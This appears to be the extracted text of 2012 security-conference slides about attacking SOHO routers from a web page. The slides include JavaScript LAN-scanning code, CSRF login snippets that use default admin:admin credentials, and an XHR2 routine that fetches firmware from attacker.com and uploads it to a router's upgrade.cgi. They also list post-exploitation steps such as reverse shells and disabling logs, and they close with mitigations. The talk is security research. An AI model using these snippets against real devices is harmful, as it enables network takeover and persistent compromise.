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$whois phil

• Sr. Security Consultant at 
AppSec Consulting

• Web Application Security 
Specialist

• Bug Bounty Hunter

• Twitter: @superevr

• Blog: superevr.com

Thursday, July 26, 12



$whois josh

• Sr. Security Consultant at 
AppSec Consulting

• Network Penetration 
Testing

• Retro systems nerd

• Hipster Phone Phreak

• @savant42
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Background
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Browser-Based Attacks:
The Old Way
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Traditional Browser-
Based Attacks

• Crude

• Rely heavily on social 
engineering and a level of 
user-interaction that is too 
far fetched for use in any 
meaningful attack
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Traditional Network 
Exploitation

• Windows / Desktop OS

• Exploit installed through SE 
or unpatched vulnerability

• Pivot and Persist

• Exfiltrate data

• Eventually detected 
removed by AV
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Blended Threats

A blended threat refers to a single threat that attacks 
via multiple vectors (e.g., a worm gains entry via email 
and then leverages back-door vulnerabilities for further 
infection and destruction). 

Blended threats are inherently malicious and spread 
rapidly.

 - Trend Micro
http://apac.trendmicro.com/apac/threats/enterprise/threats-summary/blended-threats/
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Blended Threats

• Lots of great research has 
gone into Browser-to-
Network based attacks

• Why hasn't anyone ever put 
it all together?
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How can traditional attacks go 
to the next level? Let's break 
free of the browser and into 

the network!
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Why Attack Network 
Devices?

• Hard to detect attacks with AV

• More difficult to detect infections

• Non-standard upgrade model

• Ignored by users as long as they keep doing their job
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Compromising Network Devices
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SOHO Routers? 
On MY corporate 

network?
It's more likely than you think!
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SOHO Routers in the 
Enterprise

• Home users, Small Business Owners, careless QA 
engineers, even regular engineers often neglect to 
change defaults

• Often opting for rapid deployment over security

• May be possible to bridge to Enterprise via VPN from 
compromised home users.
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What Would Be the 
Worst Case Scenario?

• Do as much as possible with browser based attacks

• Make the end user do all the work

• Evade detection

• ...profit?
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This is it.
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Deployment

All that’s necessary is to run a small piece of JavaScript 
to kickoff the an attack. 

Easy enough.
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Ad Networks
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File Sharing Sites
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Online Surveys for Gifts
Thursday, July 26, 12



Social Networking Sites
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Search Engine Optimization
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Don't believe it?

• Over 180 entries on Snopes.com for "facebook"

• 30 entries on Snopes.com for "myspace"

• Spend enough time on $social_network and the 
"Click like if you like puppies" spam posts pour in.

• Consider your non-technical friends and family  on 
Facebook and what they post...
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Once Deployed...

Now that our code has been deployed it is time to 
move on to enumeration. The key to these attacks is to 
locate a target rich environment with an optimal attack 
surface.
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Network Scanning, the 
JavaScript Way

JavaScript based network scans can enumerate live 
devices on the victim's local network. 
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Network Scanning, the 
JavaScript Way

• Several known techniques, each with their own pros 
and cons

• It Demonstrates the potential for lightning fast network 
enumeration through JavaScript
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JSScan
[http://sourceforge.net/projects/jsscan/] (hipernes)
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JS-Recon
[http://www.andlabs.org/tools/jsrecon.html] (Lava Kumar)
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jslanscanner
[https://code.google.com/p/jslanscanner/] (Gareth Heyes)
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Network Scanning, the 
JavaScript Way

Web browsers do not differentiate between resources 
located on the Internet and resources on the internal 
network

If a web page requests to load an image or document 
from an internal IP address such as "http://
192.168.1.1:80/logo.jpg", it makes a request on the LAN 
to see if it is available.
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Network Scanning, the 
JavaScript Way

<iframe onload="foundactivehost(this);" src="http://
192.168.100.1:80"></iframe>

 <img onload="lanScanner.handleProbe(this);" 
src="http://192.168.100.1/images/thomson.gif">
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Network Scanning, the 
JavaScript Way

JavaScript can additionally utilize Cross Origin Requests 
and WebSockets to speed up this scan.

Thursday, July 26, 12



Network Scanning, the 
JavaScript Way

 // with CORS
 {
 xhr = new XMLHttpRequest();
 xhr.open('GET', "http://" + ip + ":" + current_port);
 xhr.send();
 setTimeout("check_xhr()",5);
 }
 
 // with Web Sockets
 {
  ws = new WebSocket("ws://" + ip + ":" + current_port);
   setTimeout("check_ws()",5);
   }
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Network Scanning, the 
JavaScript Way

By attempting to load multiple resources within a range 
of IP addresses, JavaScript is able to determine which 
hosts are up and which are unavailable.

Mapping default IP addresses used by common devices 
and recognizing where device-specific resources are 
located on the device, a JavaScript scanner can 
determine which devices it is.
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Network Scanning, the 
JavaScript Way

• JavaScript-based scanners can use images and other 
resources to fingerprint devices

• jslanscanner: database of nearly 200 devices, 
enumerate by comparing the existence or absence of 
files included within certain models of network 
devices that are absent in others.

• A determined attacker could fine-tune utilities like 
jslanscanner and add hundreds of additional devices.
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Making Network 
Scanning Better

• Netgear routers have predefined DNS records for 
"http://www.routerlogin.net"
[http://kb.netgear.com/app/answers/detail/a_id/12744/~/how-to-view-or-change-your-
wireless-network-password]

• Bonjour (mDNS, or "Zero Conf") host names, such as 
"http://freenas.local" for the FreeNAS open source 
storage system make enumeration easy.
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Limitations of JavaScript 
Based Network Scanning

For now there is no easy way to determine the client’s 
internal IP address without implementing additional 
non-JavaScript Code

Easy enough with Java plugin or some other code

(But this talk is about big attack surfaces and standard 
browser functionality, so we're trying to avoid that)
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Gaining Control
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Authentication
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Some do it right...
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But most don’t.
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routerpwn.com
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Authentication

• Basic Authentication

• Authorization: Basic 
[username:password] 
(Base64 Encoded)

• Traditional Form POST 
Authentication

Thursday, July 26, 12



Authentication

Basic Authentication 
CSRF

<img src="http://
admin:admin@192.168.1.1/" />
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Authentication

Form POST CSRF:

<form method='post' action='http://192.168.1.1'>
<input input='text' value='admin' name='username' />
<input input='text' value='admin' name='password' />
<input type='submit' value='submit' />
</form>
<script>document.forms[0].submit()</script>
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Authentication

Even easier if there's XSS in the router UI.

<script>
 x=new XMLHttpRequest;
 x.open('GET','http://192.168.1.1/',true);
 x.setRequestHeader('Authorization','Basic 
YWRtaW46YWRtaW4=');
 x.send(0);
 </script>

Thursday, July 26, 12

http://192.168.1.1/',true
http://192.168.1.1/',true


Basic Auth Brute Force
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Basic Auth Brute Force

• Successful login attempts return 200 OK

• Unsuccessful login attempts return 401 
Unauthorized, and prompt the user for re-
authentication. This gives away the attack, or at least 
slows it down.

• However...
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Basic Auth Brute Force

• Asynchronous JavaScript Resource Requests

• When the file loads, exit out of the script

• 100 attempts < 2 sec
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Demo
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Exploit & Compromise
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Modifying Firmware

• firmware-mod-kit
http://code.google.com/p/firmware-mod-kit/

• wrt-firmware-tools
https://github.com/coolaj86/wrt-firmware-tools

• dd-wrt
http://www.dd-wrt.com/site/index

Thursday, July 26, 12

http://code.google.com/p/firmware-mod-kit/
http://code.google.com/p/firmware-mod-kit/
https://github.com/coolaj86/wrt-firmware-tools
https://github.com/coolaj86/wrt-firmware-tools
http://www.dd-wrt.com/site/index
http://www.dd-wrt.com/site/index


How do you install the 
rogue firmware?
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What about CSRF?

• Browser and Flash bugs allowed for CSRF of text 
files, but it’s been patched

• Browsers don’t give enough control over HTTP 
request

• Browsers do not handle binary data in form fields

• JavaScript mangles binary data

Thursday, July 26, 12



Until...
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XMLHttpRequest
Level 2Cross-O

rigin

Resource Sharin
g

File API Blobs
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Can we take over an entire network 
by combining JavaScript attacks?
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Yes!
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Steps to deploy firmware

1. Victim visits attack site

2. Attack site instructs victim to access malicious 
firmware and store it in memory

3. The stored firmware is uploaded to the network 
device
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Demo
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CSRF with XHR2
function fileUpload() {
  x = new XMLHttpRequest;
  x.open("get", "//attacker.com/bad_firmware.bin");
  x.overrideMimeType("text/plain; charset=x-user-defined");
  x.send();
  x.onreadystatechange = function() { ...
    xhr = new XMLHttpRequest;
    xhr.open("POST", "http://192.168.1.1/upgrade.cgi", true);
    xhr.withCredentials = "true";
    xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary= --x" );
    ...
    xhr.sendAsBinary(body);
  }
}
<img src="http://admin:admin@192.168.1.1/"  onerror=”fileupload();”/>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
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See all the code on 
GitHub!

dd-wrt-install-tool
https://github.com/superevr/ddwrt-install-tool
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Post-Exploitation

• Sniffing (Man In The Middle)

• Propagation via iframe, rogue AP, etc

• Insert payload into all http requests/responses

• Disable Logging

• Pivoting (ssh tunnel, OpenVPN, etc)

• Whatever you need to do to get paid.
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Persistence

• Custom firmware via readily available Linux tools

• Botnet C&C

• Reverse SSH Shell

• Bind Shell? (Why not? We own the router, we own 
the port forwarding settings)

• Port Knocking Backdoor
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What’s it all mean?
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Up to date = Vulnerable

• Traditional client side attacks fail if browser and/or 
third party plugin software is patched.

• With CSFU, the capability only exists in the most 
modern browsers

• Radical shift in the web-based attack paradigm
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Pros

• Does not rely on browser remaining open once 
attack completes

• Can propagate deeper into the network

• Better persistence

• Harder to discover

• Immune to anti-virus
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Cons

• So many unique devices out there, when an exploit 
for Windows is program once and conquer 
everywhere

• Takes a lot of extra effort and pre-work, compared to 
Windows malware

• Victims may not be on the latest browsers that 
support CORS

• If network devices have unique passwords, you may 
not be guaranteed an exploit
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Mitigation

• Sites from the internet shouldn't be able to access 
Private IP addresses specified in RFC-5735

• Cross-Origin Resource Sharing should be MORE 
restrictive

• Cross Site Request Forgery protections on 
embedded devices
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Mitigation (cont.)

• Automatic updates

• Signed firmware modules

• Treat JavaScript like 3rd party plug-ins like Java or 
Flash when implemented in the Enterprise

• Heuristics for CSFU
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Overview

• 4 Simple Facts:

1. Devices on your 
network have web apps 
with vulnerabilities

2. Your web browser 
allows attack sites to 
access these devices

3. Attackers can use 
CSRF to login to these 
devices

4. Attackers can replace 
the operating system 
(firmware) of these 
devices to perform 
their malicious 
activities
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On the Shoulders of 
Giants...

• Hacking Intranet Websites from the Outside - 
BH2006, Grossman

• CSRF - Yeah, it still works - Defcon17, McRee, Bailey 

• Remote Attacks Against SOHO Routers - BH2010, 
Hefner

• How to upload arbitrary file contents - 
blog.kotowicz.net, Kotowicz

• And Many Others
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Thank you!

Phil Purviance @superevr / superevr.com

Josh Brashars @savant42

Demo Code:

https://github.com/superevr/ddwrt-install-tool
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WRT54GL Errata

• If you upload firmware > 4MB you get the message 
alert("Upgrade are failed!")

• Comments on the welcome page state “This software 
should be used as a reference only, and it not 
intended for production use!”
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Linksys EA2700 Errata

• XSS on auth/unauth portions of site

• Local File Inclusion via Path Traversal Attack

• Source Code Disclosure

• CSRF to change the admin password

• Released April, 2012
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Sonicwall Internet 
Security Appliance Errata

• Unique CSRF/Password storage scheme

• Upon login, JavaScript takes your password and 
combines it with a nonce, and hashes it before 
sending it over the wire

• Has XSS on unauthenticated pages, allowing the login 
to be CSRF Brute Forced
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